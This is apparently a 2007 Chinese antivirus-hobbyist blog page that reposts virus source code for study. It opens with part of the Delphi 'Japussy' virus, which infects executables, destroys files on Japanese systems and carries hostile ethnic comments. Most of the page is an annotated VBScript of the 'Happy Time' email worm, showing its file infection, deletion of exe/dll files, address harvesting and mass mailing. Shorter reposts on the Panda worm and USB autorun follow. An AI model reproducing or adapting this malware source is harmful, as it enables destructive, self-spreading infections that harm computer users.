if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
  repeat
    PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
    if IsValidDir(SearchRec) = 0 then
    begin
    Fn := Path + SearchRec.Name;
    Ext := UpperCase(ExtractFileExt(Fn));
    if (Ext = '.EXE') or (Ext = '.SCR') then
    begin
      InfectOneFile(Fn); //感染可执行文件    
    end
    else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
    begin
      //感染HTML和ASP文件,将Base64编码后的病毒写入
      //感染浏览此网页的所有用户
      //哪位大兄弟愿意完成之?
    end
    else if Ext = '.WAB' then //Outlook地址簿文件
    begin
      //获取Outlook邮件地址
    end
    else if Ext = '.ADC' then //Foxmail地址自动完成文件
    begin
      //获取Foxmail邮件地址
    end
    else if Ext = 'IND' then //Foxmail地址簿文件
    begin
      //获取Foxmail邮件地址
    end
    else
    begin
      if IsJap then //是倭文操作系统
      begin
        if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
        (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
        (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
        (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
        (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
        (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
          SmashFile(Fn); //摧毁文件
      end;
    end;
    end;
    //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
    Sleep(200);
  until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
  repeat
    if IsValidDir(SearchRec) = 1 then
    SubDir.Add(SearchRec.Name);
  until (FindNext(SearchRec) <> 0);
  end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
  LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
  IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
  for i := Len downto 1 do //遍历每个磁盘驱动器
    LoopFiles(DriverList + ':\', '*.*'); //感染之
  SendMail; //发带毒邮件
  Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
  RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
  //远程线程映射到Explorer进程
  //哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
  InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
  TmpFile := ParamStr(0); //创建临时文件
  Delete(TmpFile, Length(TmpFile) - 4, 4);
  TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
  ExtractFile(TmpFile); //分离之
  FillStartupInfo(Si, SW_SHOWDEFAULT);
  CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
    0, nil, '.', Si, Pi); //创建新进程运行之
  InfectFiles; //感染和发邮件
end;
end.
(viking病毒变种)熊猫烧香新变种,修改网页文件,加入跳转代码 [转]2007-01-18 12:36病毒分析见C.I.S.R.T.http://www.cisrt.org/bbs/viewthread.php?tid=633

玛玛和M又进一步出名了啊,哈哈~~

病毒在网页中加入如下代码:

昨天狮子问这个down.htm怎么解密,哈哈,我就露了一手。
用fso的方法还原成功,本来面目如下:




 

点击此处查看原文 >>

系统分类: 自由话题   |    用户分类:    |    来源: 转贴

评论(2) | 阅读(735)
发表于:2007-11-21 0:29:26
标签:与病毒斗争  

0

"欢乐时光" 病毒代码分析

             "欢乐时光" 病毒代码分析  
    “欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋
高一招的。

我们知道,邮件的格式可以有两种:
纯文本和超文本。超文本(HTML)功能强大就不用多说了,它可以内嵌数
种脚本语言

,常见的就是VBScript和
JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看
得出来,该

作者很可能是长期从事网络编程的高
手,他对VBS的认识可谓精通,使用的许多技术细节都鲜为人知,尤其是利
用了类型库

(Type Library)成功地避开了安全
审核的手段更是令人叹为观止。 

  下面让我们来看看它藏在快乐的外衣下的是什么吧! 


*************** 欢乐时光 ***************
Rem I am sorry! happy time
On Error Resume Next
Mload
'以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件
已被感染过

Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib") 
Set Oh = CreateObject("Shell.Application")
'建立枚举对象,避开了安全审核
If IsHTML Then
'调用IsHtml函数,如果是Html,就小写…… 
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset 
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
'如果mPath为空,就在C盘下生成Help.htm
Ihtml = ""
'超文本的内容,并指向C:\Help.Htm
Call document.Body.insertAdjacentHTML("AfterBegin", Ih
tml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
'设置超时条件
main
Else 
Os.Reset()
Os.Path = mPath & "\" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
'生成Help.hta
End If
End If
End If
Else
Main
'都不是,就执行main函数 
End If
End Sub

'***************************************************************
***
'以下为主函数,太长了!
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
'不用说,创建FileSystemObject对象啦
Set Od = CreateObject("Scripting.Dictionary")
'创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开
放的数组
Od.Add "html", "1100" 
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
'向Dictionary对象添加要感染的项目对
Ks = "HKEY_CURRENT_USER\Software\"
'使用变量以减少代码长度 
Ds = Grf()
Cs = Gsf()
If IsVbs Then
'如果是VBS 
If Of.FileExists("C:\help.htm") Then 
Of.DeleteFile ("C:\help.htm")
'如果c:\help.htm存在,就删掉,消灭遗留的痕迹
End If
Key = CInt(Month(Date) + Day(Date)) 
If Key = 13 Then 
'如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可

Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
'就清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除
之用
End If
Cn = Rg(Ks & "Help\Count") 
'读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值
If Cn = "" Then
Cn = 1
'如果Count为0,就设为1
End If
Rw Ks & "Help\Count", Cn + 1 
'添加HKEY_CURRENT_USER\Software\Help\Count键值,值为2
f1 = Rg(Ks & "Help\FileName") 
'再读HKEY_CURRENT_USER\Software\Help\FileName键值
f2 = FNext(Of, Od, f1) 
'得到该文件的文件名
fext = GetExt(Of, Od, f2) 
'得到该文件扩展名的代号
Rw Ks & "Help\FileName", f2 
'添加键值
If IsDel(fext) Then 
'如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2 
'储存文件名
f2 = FNext(Of, Od, f2) 
'得到文件的文件名?
Rw Ks & "Help\FileName", f2 
'写注册表
Of.DeleteFile f3 
'删除文件
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then 
'如果不是集合中的文件
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
'使用 Cint函数强制执行转换,并发邮件
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper&
quot;)
If Rg(Ks & "Help\wallPaper") <> wp Or wp = &
quot;" Then
'比较桌面墙纸是否已改变
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "\" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
'创建超文本
pfc.Write "<" & "HTML><" &
"body bgcolor='#007f7f' background='" & n1 & 


"'><
" & "/Body><" & "/HTML>&quo
t; & mt
'超文本的内容
pfc.Close
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper"
, n3
'将带毒的超文本设置成活动桌面
End If
Else
Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)

fc.Write Sa("0100")
'创建vbs文件
fc.Close
bf = Cs & "\Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
'创建windows下的untitled.htm
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID&quo
t;)
oe = "HKEY_CURRENT_USER\Identities\" & oeid &
"\Software\Microsoft\Outlook 

E
xpress\5.0\Mail"
MSH = oe & "\Message Send HTML"
CUS = oe & "\Compose Use Stationery"
SN = oe & "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
'在Hkey_Current_User\Identities\{AECF6CA3-9614-4AF4-AEF2-CT63F
E9D97A4}\

Software\Microsoft\Outlook 
Express\5.0\Mail下添加三个键值Message Send HTML 、Compose Use
Stationery 

和Stationery Name,前两个的值为
1,后一个指向windows\untitled.htm
Web = Cs & "\WEB"
Set gf = Of.GetFolder(Web).Files
'得到windows\web文件夹里的文件
Od.Add "htt", "1100"
'向Dictionary里添加htt项目对
For Each m In gf
'遍历windows\web下的每一个文件
fext = GetExt(Of, Od, m)
'得到每个文件的扩展名
If fext <> "" Then
'如果扩展名不为空,则
Fw Of, m, fext
End If
Next
End If
End Sub

'***************************************************************
***
Sub mclose() 
document.Write "<" & "title>I am sorry!
'写入I am sorry,并关闭。以此作为感染

与否的标记
window.Close
End Sub

'***************************************************************
***
Sub Fw(Of, S, n) 
'此时S为文件名,n为文件扩展名
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1) 
'只读模式打开该文件
mt = fc.ReadAll 
'读入全部文件流
fc.Close 
'关闭文件
If Not Sc(mt) Then 
'如果未感染过
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
'打开文件并在文件末尾进行写操作
fc2.Write mt
fc2.Close
Msend (mmail)
'发带毒邮件
End If
End Sub

'***************************************************************
***
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then 
'如果读入的文件流中有Rem I am sorry! happy time
Sc = True 
Else
Sc = False
'表示已感染过,返回True,否则为False
End If
End Function

'***************************************************************
***
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
'初始化变量
If Of.FileExists(S) Then 
'如果S存在于当前文件夹中
fpath = Of.GetFile(S).ParentFolder
'得到文件的父目录名
fname = S 
'得到文件名
ElseIf Of.FolderExists(S) Then 
'不存在于当前文件夹中,则得到目录名
fpath = S 
T = True
Else
fpath = Dnext(Of, "") 
'得到当前盘符——即根目录
End If
Do While True
Set gf = Of.GetFolder(fpath).Files 
'得到当前目录下的所有文件对象
For Each m In gf 
'遍历每个文件
If T Then
If GetExt(Of, Od, m) <> "" Then 
'如果该文件是文件集合中的一员
FNext = m 
'则返回该文件名,供调用的函数或过程使用——感染或删除之
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then 
'如果没文件
T = True
End If
Next
fpath = Pnext(Of, fpath) '
Loop
End Function

'***************************************************************
***
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then 
'如果如果指定的文件夹存在
Set gp = Of.GetFolder(S).SubFolders 
'就得到子目录数
pn = gp.Count
If pn = 0 Then 
'如果没子目录
Ppath = LCase(S) '
Npath = LCase(Of.GetParentFolderName(S)) 
'得到父目录的小写形式
T = True
Else
Npath = LCase(S) 
'有子目录,得到其小写形式的集合 
End If
Do While Not Er ' 
For Each pn In Of.GetFolder(Npath).SubFolders
'得到子目录下的子目录
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
'将字符串转化成小写
Npath = Of.GetParentFolderName(Npath) '
If Of.GetFolder(Ppath).IsRootFolder Then 
'如果是根目录
m = Of.GetDriveName(Ppath) 
'就得到分区符
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function

'***************************************************************
***
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives 
'得到所有的驱动器盘符
For Each d In dc 
'遍历每个驱动器
If d.DriveType = 2 Or d.DriveType = 3 Then
'如果是网络盘或本地盘
If T Then
Dnext = d
Exit Function
'如果是False,就返回当前盘,并退出本函数
Else
If LCase(S) = LCase(d) Then 
'如果是True且盘符相同,就令T为True
T = True
End If
If m = "" Then 
'如果m为空,就将盘符付给m
m = d
End If
End If
End If
Next
Dnext = m 
'返回盘符
End Function

'***************************************************************
***
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
'返回该文件扩展名的小写
GetExt = Od.Item(fext) 
'返回Dictionary对象中指定的key对应的item——即0001(exe)等
End Function

'***************************************************************
***
Sub Rw(k, v) 
'写注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
'创建对象
R.RegWrite k, v
End Sub

'***************************************************************
***
Function Rg(v) 
'读注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
'创建对象
Rg = R.RegRead(v)
End Function

'***************************************************************
***
Function IsVbs() 
'此函数判断是不是VBS文件
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then 
'如果出错,则不是VBS
IsVbs = False
Else
IsVbs = True
End If
End Function

'***************************************************************
***
Function IsHTML() 
'此函数判断是不是Html文件
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
'如果出错,则不是超文本
Else
IsHTML = True
End If
End Function


'***************************************************************
***
Function IsMail(S)
'此函数判断是不是邮件地址
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then 
'返回vbCrLf在S中第一次出现的位置, vbCrLf是换行符
m1 = InStr(S, "@") 
m2 = InStr(S, ".")
If m1 <> 0 And m1 < m2 Then 
'如果有“@”符号且“@”在“."之前,则是邮件地址
IsMail = True
End If
End If
End Function

'***************************************************************
***
Function Gsf() 
'得到windows目录
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
'创建FileSystemObject对象
m = Of.GetSpecialFolder(0)
'得到特殊目录——Windows、System和Temp目录
If Er Then 
'如果失败,返回C:Gsf = "C:\"
Else 
'若正常,则返回%Windows%
Gsf = m
End If
End Function

'***************************************************************
***
Function Lhtml() 
'写入超文本的内容,其中vbCrLf是换行符
Lhtml = "<" & "HTML" & ">
"<" & "Title> Help "<" &am
p; "Body> " & Lscript(Lvbs

()) & vbCrLf & _
"<" & "/Body>End Function

'***************************************************************
***
Function Lscript(S) 
'写入vbscript的声明
Lscript = "<" & "script language='VBScript
'>" & vbCrLf & _
S & "<" & "/script" & "&
gt;"
End Function

'***************************************************************
***
Function Sl(S1, S2, n) 
Dim l1, l2, l3, i
l1 = Len(S1) 
'得到文件流的长度
l2 = Len(S2) 
'得到mailto:的长度
i = InStr(S1, S2) 
'在文件流中查找mailto:第一次出现的位置——值为一个数
If i > 0 Then 
'找到则进行字符串操作
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function


'***************************************************************
***
Function Og() 
'得到WAB(通讯簿)中的邮件地址
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
'创建Outlook应用程序对象,Outlook和Outlook Express都跑不掉啦!
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).
Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
得到每个WAB中的邮件地址
Next
Og = m
End Function

'***************************************************************
***
Sub Tsend() 
'发带毒邮件
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
'设置邮件标题
MM.RecipAddress = m
'此邮件的当前的目标邮件地址
MM.AttachmentPathName = Gsf & "\Untitled.htm"
'添加附件Windows\Untitled.htm
MM.Send
'发送!
Next
MS.SignOff
End Sub

'***************************************************************
***
Function Er() 
'设置的错误陷阱,避免程序崩溃,严谨的风格值得学习
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function

'***************************************************************
***
Function IsDel(S) 
'此函数查看当前文件是否是要删除的文件类型
If Mid(S, 4, 1) = 1 Then 
'看S的第四个字符是否是1——即是0001(exe和dll)
IsDel = True 
'如是,返回True,以备删除
Else
IsDel = False 
'如不是,返回False
End If
End Function
'***************************************************************
***


于安全上的考虑,上面只登出了技术上比较新颖和重要的几个模块供大家
研究和学习之用。从代码中大家可以看到,“欢乐时光”也采用了“爱虫
”的FileSystemObject(文件系统对象)的技术,这也几乎是所有VBS邮件
病毒必不可少的部分。因此如果杀毒软件监视所有Html和Vbs中的FileSys
temObject关键字,几乎可以查出所有和潜在的变种(虽然可能会将某些良
性的超文本和Vbs误报,但还是“宁可错杀一千,不可放过一毒”。如果仅
监视关键字,如“爱虫”的“I love you”,“欢乐时光”的“Happy Ti
me",造毒者只要将其改掉即可,再将邮件标题、内容和源码中的变
量名替换一下,具有“智能查毒”的杀毒软件们也只有装聋作哑,望毒兴
叹了
 
 ========== * * * * * ==========

点击此处查看原文 >>

系统分类: 自由话题   |    用户分类:    |    来源: 转贴

评论(0) | 阅读(490)
发表于:2007-11-20 22:55:00
标签:与病毒斗争  

0

关于发“与病毒斗争”专题的想法与公告

                      关于发“与病毒斗争”专题的想法与公告

         本人因工作关系曾是个杀毒如麻的屠虫夫,偶因想研究毒理曾蓄养了上百种毒虫,偶因蓄养毒虫而使偶的一个硬盘早已毒入盘髓,因此偶的双手早已粘满了毒汁——可谓毒手斑斑!不过各位不要误认为偶是杀毒高手,偶所使用的杀毒手段甚至不能纳入正流——都是些“一介武夫”所为之手段。偶本曾想发一篇题为《菜鸟的屠虫刀——浅谈病毒的手动清除方法》的日志,可到网上一搜——高手如云!!而且都是比较正统的高手——所发表的文章也都比较入正流!偶只好把拙作先压箱底,现先把网上的一些高手的文章转载,如各贵客感兴趣,偶再献出拙作,到时若操刀不好,望各贵客手下留情——不要扔臭鸡蛋放我!!

点击此处查看原文 >>

系统分类: 自由话题   |    用户分类:    |    来源: 原创

评论(0) | 阅读(782)
发表于:2007-11-20 21:11:40
标签:与病毒斗争  

0

U盘病毒和Autorun.inf文件分析

               U盘病毒和Autorun.inf文件分析

最近,有关U盘病毒的情况非常严重,以湛江年会为例,在各人递交的U盘上,发现有病毒的比例可以高达90%。